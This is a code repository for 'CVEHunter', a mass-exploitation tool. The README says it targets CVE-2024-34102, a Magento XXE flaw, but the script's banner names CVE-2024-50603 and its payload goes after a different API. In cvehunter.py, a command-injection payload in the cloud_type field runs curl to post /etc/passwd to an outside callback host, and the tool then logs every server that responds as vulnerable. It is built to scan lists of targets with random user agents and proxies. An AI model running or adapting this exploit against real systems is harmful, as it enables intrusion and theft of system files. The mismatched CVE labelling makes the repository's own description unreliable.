├── requirements.txt
├── README.md
└── cvehunter.py
/requirements.txt:
--------------------------------------------------------------------------------
1 | aiofiles==23.2.1
2 | alive_progress==3.1.5
3 | beautifulsoup4==4.12.3
4 | colorama==0.4.6
5 | fake_useragent==1.5.1
6 | httpx==0.27.0
7 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2024-34102: Unauthenticated Magento XXE
2 | CVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-34102 with Asychronous Performance.
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 | ### Installation
11 |
12 | ```bash
13 | git clone https://github.com/th3gokul/CVE-2024-34102.git
14 | cd CVE-2024-34102
15 | pip install -r requirements.txt
16 | python3 cvehunter.py --help
17 | ```
18 |
19 | ### Usage
20 |
21 | ```bash
22 | python3 cvehunter.py -h
23 |
24 | ____ __ __ _____ _ _ _
25 | / ___|\ \ / /| ____|| | | | _ _ _ __ | |_ ___ _ __
26 | | | \ \ / / | _| | |_| || | | || '_ \ | __| / _ \| '__|
27 | | |___ \ V / | |___ | _ || |_| || | | || |_ | __/| |
28 | \____| \_/ |_____||_| |_| \__,_||_| |_| \__| \___||_|
29 | CVE-2024-34102 @th3gokul & Sanjaith3hacker
30 |
31 | [Description]: Vulnerability Detection and Exploitation tool for CVE-2024-34102
32 |
33 | options:
34 | -h, --help show this help message and exit
35 | -u URL, --url URL [INF]: Specify a URL or domain for vulnerability detection
36 | -l LIST, --list LIST [INF]: Specify a list of URLs for vulnerability detection
37 | -t THREADS, --threads THREADS
38 | [INF]: Number of threads for list of URLs
39 | -proxy PROXY, --proxy PROXY
40 | [INF]: Proxy URL to send request via your proxy
41 | -v, --verbose [INF]: Increases verbosity of output in console
42 | -o OUTPUT, --output OUTPUT
43 | [INF]: Filename to save output of vulnerable target]
44 | ```
45 |
46 |
47 | ### About:
48 |
49 | The CVEHunter tool is an exploitation tool for CVE-2024-34102 and the Devlopers of the tool are
50 | - [Th3Gokul](https://www.linkedin.com/in/gokul-v-13455521a/)
51 | - [Sanjaith3hacker @RevoltSecurities](https://www.linkedin.com/in/d-sanjai-kumar-109a7227b/)
52 |
53 | and We specially Thank [bebik](https://github.com/bebiksior) and his [SSRF](ssrf.cvssadvisor.com/) tool which helped in our research and exploitation
54 | on CVE-2024-34102 to know the callbacks, pings and find accurate results while exploiting this vulnerability, We appreciate him for the great contribution for Open Source Community.
55 |
56 |
57 | ### Disclaimer
58 | The tool ⚒️ is only for education 📖 and ethical purpose only and Developers are not responsible for any illegal exploitations.
59 |
--------------------------------------------------------------------------------
/cvehunter.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import argparse
3 | import aiofiles
4 | from alive_progress import alive_bar
5 | from fake_useragent import UserAgent
6 | from colorama import Fore, Style
7 | import ssl
8 | import httpx
9 | import random
10 | import os
11 | import json
12 |
13 | green = Fore.GREEN
14 | magenta = Fore.MAGENTA
15 | cyan = Fore.CYAN
16 | mixed = Fore.RED + Fore.BLUE
17 | red = Fore.RED
18 | blue = Fore.BLUE
19 | yellow = Fore.YELLOW
20 | white = Fore.WHITE
21 | reset = Style.RESET_ALL
22 | bold = Style.BRIGHT
23 | colors = [ green, cyan, blue]
24 | random_color = random.choice(colors)
25 |
26 |
27 | def banner():
28 | banner=f"""{bold}{random_color}
29 | ____ __ __ _____ _ _ _
30 | / ___|\ \ / /| ____|| | | | _ _ _ __ | |_ ___ _ __
31 | | | \ \ / / | _| | |_| || | | || '_ \ | __| / _ \| '__|
32 | | |___ \ V / | |___ | _ || |_| || | | || |_ | __/| |
33 | \____| \_/ |_____||_| |_| \__,_||_| |_| \__| \___||_|
34 | CVE-2024-50603 {bold}{white}@th3gokul & @th3sanjai{reset}\n"""
35 | return banner
36 |
37 |
38 | print(banner())
39 |
40 |
41 |
42 | parser = argparse.ArgumentParser(description=f"[{bold}{blue}Description{reset}]: {bold}{white}Vulnerability Detection and Exploitation tool for CVE-2024-34102" , usage=argparse.SUPPRESS)
43 | parser.add_argument("-u", "--url", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a URL or domain for vulnerability detection")
44 | parser.add_argument("-l", "--list", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a list of URLs for vulnerability detection")
45 | parser.add_argument("-t", "--threads", type=int, default=1, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Number of threads for list of URLs")
46 | parser.add_argument("-proxy", "--proxy", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Proxy URL to send request via your proxy")
47 | parser.add_argument("-v", "--verbose", action="store_true", help=f"[{bold}{blue}INF{reset}]: {bold}{white}Increases verbosity of output in console")
48 | parser.add_argument("-o", "--output", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Filename to save output of vulnerable target{reset}]")
49 | parser.add_argument("-to", "--timeout", type=int, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a timeout value for the HTTP request{reset}")
50 | args=parser.parse_args()
51 |
52 | async def get_instance(session):
53 | try:
54 | base_url = f"https://api.cvssadvisor.com/ssrf/api/instance"
55 | headers = {
56 | "User-Agent": UserAgent().random,
57 | "Referer": "https://ssrf.cvssadvisor.com/",
58 | "Content-Type": "application/json",
59 | "Orgin": "https://ssrf.cvssadvisor.com"
60 | }
61 |
62 | response = await session.request("POST", base_url,headers=headers, timeout=30, follow_redirects=True)
63 | responsed = response.text
64 | value = responsed.strip('"')
65 | return value
66 | except (httpx.ConnectError, httpx.RequestError, httpx.TimeoutException) as e:
67 | return
68 | except ssl.SSLError as e:
69 | pass
70 | except httpx.InvalidURL:
71 | pass
72 | except KeyboardInterrupt :
73 | SystemExit
74 | except asyncio.CancelledError:
75 | SystemExit
76 | except Exception as e:
77 | if args.verbose:
78 | print(f"Exception in get-instance: {e}, {type(e)}")
79 |
80 | async def delete_instance(session, instance_id):
81 | try:
82 | base_url = f"https://api.cvssadvisor.com/ssrf/api/instance/{instance_id}"
83 | headers = {
84 | "User-Agent": UserAgent().random,
85 | "Referer": "https://ssrf.cvssadvisor.com/",
86 | "Content-Type": "application/json",
87 | "Orgin": "https://ssrf.cvssadvisor.com"
88 | }
89 |
90 | response = await session.request("DELETE", base_url,headers=headers, timeout=30, follow_redirects=True)
91 | if response.status_code == 200:
92 | pass
93 |
94 | except (httpx.ConnectError, httpx.RequestError, httpx.TimeoutException) as e:
95 | return
96 | except ssl.SSLError as e:
97 | pass
98 | except httpx.InvalidURL:
99 | pass
100 | except KeyboardInterrupt :
101 | SystemExit
102 | except asyncio.CancelledError:
103 | SystemExit
104 | except Exception as e:
105 | if args.verbose:
106 | print(f"Exception in delete: {e}, {type(e)}")
107 |
108 | async def instance_log(session, instance_id, url):
109 | try:
110 | base_url = f"https://api.cvssadvisor.com/ssrf/api/instance/{instance_id}"
111 | headers = {
112 | "User-Agent": UserAgent().random,
113 | "Referer": "https://ssrf.cvssadvisor.com/",
114 | "Content-Type": "application/json",
115 | "Orgin": "https://ssrf.cvssadvisor.com"
116 | }
117 |
118 | response = await session.request("GET", base_url,headers=headers, timeout=30, follow_redirects=True)
119 | data = response.json()
120 | raw_data = json.dumps(data)
121 |
122 | if f"{url}" in raw_data:
123 | return "exploited"
124 | else:
125 | return "failed"
126 |
127 | except (httpx.ConnectError, httpx.RequestError, httpx.TimeoutException) as e:
128 | return
129 | except ssl.SSLError as e:
130 | pass
131 | except httpx.InvalidURL:
132 | pass
133 | except KeyboardInterrupt :
134 | SystemExit
135 | except asyncio.CancelledError:
136 | SystemExit
137 | except Exception as e:
138 | if args.verbose:
139 | print(f"Exception in log: {e}, {type(e)}")
140 |
141 | async def instance_clear(session, instance_id):
142 | try:
143 | base_url = f"https://api.cvssadvisor.com/ssrf/api/instance/{instance_id}/clear"
144 | headers = {
145 | "User-Agent": UserAgent().random,
146 | "Referer": "https://ssrf.cvssadvisor.com/",
147 | "Content-Type": "application/json",
148 | "Orgin": "https://ssrf.cvssadvisor.com"
149 | }
150 |
151 | response = session.request("DELETE", base_url,headers=headers, timeout=30, follow_redirects=True)
152 | if response.status_code == 200:
153 | pass
154 |
155 | except (httpx.ConnectError, httpx.RequestError, httpx.TimeoutException) as e:
156 | return
157 | except ssl.SSLError as e:
158 | pass
159 | except httpx.InvalidURL:
160 | pass
161 | except KeyboardInterrupt :
162 | SystemExit
163 | except asyncio.CancelledError:
164 | SystemExit
165 | except Exception as e:
166 | if args.verbose:
167 | print(f"Exception in clear: {e}, {type(e)}")
168 |
169 | async def save(result):
170 | try:
171 | if args.output:
172 | if os.path.isfile(args.output):
173 | filename = args.output
174 | elif os.path.isdir(args.output):
175 | filename = os.path.join(args.output, f"results.txt")
176 | else:
177 | filename = args.output
178 | else:
179 | filename = "results.txt"
180 | async with aiofiles.open(filename, "a") as w:
181 | await w.write(result + '\n')
182 | except KeyboardInterrupt as e:
183 | quit()
184 | except asyncio.CancelledError as e:
185 | SystemExit
186 | except Exception as e:
187 | pass
188 |
189 |
190 | async def request(session,url,instance_url):
191 | try:
192 | base_url=f"{url}/v1/api"
193 | header={
194 | "User-Agent": UserAgent().random,
195 | "Content-Type": "application/x-www-form-urlencoded"
196 | }
197 |
198 | body = (
199 | "action=list_flightpath_destination_instances&"
200 | "CID=anything_goes_here&"
201 | "account_name=1&"
202 | "region=1&"
203 | "vpc_id_name=1&"
204 | f"cloud_type=1|$(curl%20-X%20POST%20-d%20@/etc/passwd%20{instance_url}/?url={url})"
205 | )
206 |
207 | response = await session.request("POST", base_url, data=body, headers=header , follow_redirects=True)
208 | except (httpx.ConnectError, httpx.RequestError, httpx.TimeoutException) as e:
209 | return
210 | except ssl.SSLError as e:
211 | pass
212 | except httpx.InvalidURL:
213 | pass
214 | except KeyboardInterrupt :
215 | SystemExit
216 | except asyncio.CancelledError:
217 | SystemExit
218 | except Exception as e:
219 | if args.verbose:
220 | print(f"Exception in request module: {e}, {type(e)}")
221 |
222 |
223 |
224 | async def Exploit(session, url, instance_id, sem, bar):
225 | try:
226 |
227 | await request(session, url, f"https://{instance_id}.c5.rs")
228 | await asyncio.sleep(0.5)
229 | result = await instance_log(session, instance_id, url)
230 |
231 | if result == "exploited":
232 | print(f"[{bold}{green}VULN{reset}]: {bold}{white}{url}{reset}")
233 | await save(url)
234 | except KeyboardInterrupt as e:
235 | SystemExit
236 | except asyncio.CancelledError as e:
237 | SystemExit
238 | except Exception as e:
239 | if args.verbose:
240 | print(f"Exception in exploit: {e}, {type(e)}")
241 | finally:
242 | bar()
243 | sem.release()
244 |
245 | async def loader(urls, session,instance_id, sem, bar):
246 | try:
247 | tasks = []
248 | for url in urls:
249 | await sem.acquire()
250 | task = asyncio.ensure_future(Exploit(session, url,instance_id, sem, bar))
251 | tasks.append(task)
252 | await asyncio.gather(*tasks, return_exceptions=False)
253 | except KeyboardInterrupt as e:
254 | SystemExit
255 | except asyncio.CancelledError as e:
256 | SystemExit
257 | except Exception as e:
258 | if args.verbose:
259 | print(f"Exception in loader: {e}, {type(e)}")
260 |
261 | async def setup(urls):
262 | try:
263 | urls = list(set(urls))
264 |
265 | sem = asyncio.Semaphore(args.threads)
266 | proxy = args.proxy if args.proxy else None
267 | timeout = httpx.Timeout(connect=args.timeout, pool=args.threads*2, write=None, read=80.0)
268 | limits = httpx.Limits(max_connections=args.threads, max_keepalive_connections=args.threads)
269 | async with httpx.AsyncClient(verify=False, proxy=proxy, timeout=timeout, limits=limits) as session:
270 | instance = await get_instance(session)
271 | if not instance :
272 | print(f"[{bold}{red}INFO{reset}]: {bold}{white}Unable to create a interactive SSRF server Please run again!{reset}")
273 | exit(1)
274 | with alive_bar(title=f"CVEHunter", total=len(urls), enrich_print=False) as bar:
275 | await loader(urls, session,instance, sem, bar)
276 | await delete_instance(session,instance)
277 | except RuntimeError as e:
278 | pass
279 | except KeyboardInterrupt as e:
280 | SystemExit
281 | except Exception as e:
282 | if args.verbose:
283 | print(f"Exception in threads: {e}, {type(e)}")
284 |
285 |
286 | async def main():
287 | try:
288 | urls = []
289 | if args.url:
290 | if args.url.startswith("https://") or args.url.startswith("http://"):
291 | urls.append(args.url)
292 | else:
293 | new_url = f"https://{args.url}"
294 | urls.append(new_url)
295 | new_http = f"http://{args.url}"
296 | urls.append(new_http)
297 | await setup(urls)
298 |
299 | if args.list:
300 | async with aiofiles.open(args.list, "r") as streamr:
301 | async for url in streamr:
302 | url = url.strip()
303 | if url.startswith("https://") or url.startswith("http://"):
304 | urls.append(url)
305 | else:
306 | new_url = f"https://{url}"
307 | urls.append(new_url)
308 | new_http = f"http://{url}"
309 | urls.append(new_http)
310 | await setup(urls)
311 |
312 | except FileNotFoundError as e:
313 | print(f"[{bold}{red}WRN{reset}]: {bold}{white}{args.list} no such file or directory{reset}")
314 | SystemExit
315 |
316 | except Exception as e:
317 | print(f"Exception in main: {e}, {type(e)}")
318 |
319 | if __name__ == "__main__":
320 | asyncio.run(main())
321 |
--------------------------------------------------------------------------------